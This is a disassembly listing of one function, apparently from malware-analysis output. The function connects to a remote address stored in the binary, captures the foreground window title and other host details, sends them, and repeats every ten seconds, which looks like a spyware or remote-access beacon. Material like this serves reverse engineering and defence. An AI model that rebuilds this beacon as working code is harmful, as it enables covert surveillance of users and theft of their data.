Function at 0x131830c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get graphical window text
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2b
push 0
push 0
dec ecx
jne 0x131830c8
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x13183446
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x1317b734]
call fcn.131442e4
mov dword [ebp - 4], eax
lea eax, [ebx + 0x18]
push eax
push 0x202
call sub.wsock32.dll_WSAStartup
mov byte [0x1318bbc0], 0
or esi, 0xffffffff
mov eax, dword [0x1318bbec]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
lea edx, [esi + 1]
cmp eax, edx
jge 0x1318311f
xor esi, esi
jmp 0x13183120
inc esi
lea ecx, [ebp - 0x114]
mov edx, esi
mov eax, dword [0x1318bbec]
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x114]
lea edx, [ebp - 0x110]
call fcn.1317fdb4
mov edx, dword [ebp - 0x110]
mov eax, 0x13186ce8
call fcn.13145194
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebx + 4], eax
mov word [ebx + 8], 2
movzx eax, word [0x13186cf0]
push eax
call sub.wsock32.dll_htons
mov word [ebx + 0xa], ax
mov eax, dword [0x13186ce8]
call fcn.131455d0
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebx + 0xc], eax
push 0x10
lea eax, [ebx + 8]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_connect
test eax, eax
jne 0x131833fa
push 0x105
lea eax, [ebp - 0x109]
push eax
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 0x11c]
lea edx, [ebp - 0x109]
mov ecx, 0x105
call fcn.131453b0
mov eax, dword [ebp - 0x11c]
lea edx, [ebp - 0x118]
call fcn.1317bfc4
cmp dword [ebp - 0x118], 0
jne 0x131831fe
push esi
mov esi, 0x13183454
lea edi, [ebp - 0x109]
mov ecx, 0x41
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop esi
lea eax, [ebp - 0x120]
call fcn.13177a9c
cmp dword [ebp - 0x120], 0
je 0x13183307
push 0x13183564
lea edx, [ebp - 0x128]
mov eax, dword [ebp - 4]
call fcn.1317bb0c
push dword [ebp - 0x128]
push 0x13183570
lea edx, [ebp - 0x12c]
mov eax, dword [ebp - 4]
call fcn.1317be8c
push dword [ebp - 0x12c]
push 0x1318357c
lea edx, [ebp - 0x130]
mov eax, dword [ebp - 4]
call fcn.1317bba4
push dword [ebp - 0x130]
push 0x1318357c
lea edx, [ebp - 0x134]
mov eax, dword [ebp - 4]
call fcn.1317ba9c
push dword [ebp - 0x134]
push 0x1318357c
mov eax, dword [ebp - 4]
call fcn.1317bde8
call fcn.131433a0
push edx
push eax
lea eax, [ebp - 0x138]
call fcn.1317c05c
push dword [ebp - 0x138]
push 0x1318357c
push 0x13183588
push dword [0x13186cf4]
push 0x1318357c
push dword [0x13186cf8]
push 0x1318357c
lea eax, [ebp - 0x13c]
lea edx, [ebp - 0x109]
mov ecx, 0x105
call fcn.131453b0
push dword [ebp - 0x13c]
push 0x1318357c
push 0x13183594
lea eax, [ebp - 0x124]
mov edx, 0x13
call fcn.131454d4
mov edx, dword [ebp - 0x124]
mov eax, ebx
call fcn.13183058
jmp 0x131833f3
push 0x13183564
lea edx, [ebp - 0x144]
mov eax, dword [ebp - 4]
call fcn.1317bb0c
push dword [ebp - 0x144]
push 0x13183570
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.1317be8c
push dword [ebp - 0x148]
push 0x1318357c
lea edx, [ebp - 0x14c]
mov eax, dword [ebp - 4]
call fcn.1317bba4
push dword [ebp - 0x14c]
push 0x1318357c
lea edx, [ebp - 0x150]
mov eax, dword [ebp - 4]
call fcn.1317ba9c
push dword [ebp - 0x150]
push 0x1318357c
mov eax, dword [ebp - 4]
call fcn.1317bde8
call fcn.131433a0
push edx
push eax
lea eax, [ebp - 0x154]
call fcn.1317c05c
push dword [ebp - 0x154]
push 0x1318357c
push 0x131835a0
push dword [0x13186cf4]
push 0x1318357c
push dword [0x13186cf8]
push 0x1318357c
lea eax, [ebp - 0x158]
lea edx, [ebp - 0x109]
mov ecx, 0x105
call fcn.131453b0
push dword [ebp - 0x158]
push 0x1318357c
push 0x13183594
lea eax, [ebp - 0x140]
mov edx, 0x13
call fcn.131454d4
mov edx, dword [ebp - 0x140]
mov eax, ebx
call fcn.13183058
mov eax, ebx
call fcn.13181d3c
push 0x2710
call sub.kernel32.dll_Sleep_2
mov eax, 0x1318bbc4
call fcn.13145140
cmp byte [0x1318bbc0], 0
je 0x13183109
mov eax, dword [ebp - 4]
call fcn.13144314
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1318344d
lea eax, [ebp - 0x158]
mov edx, 0x13
call fcn.13145164
ret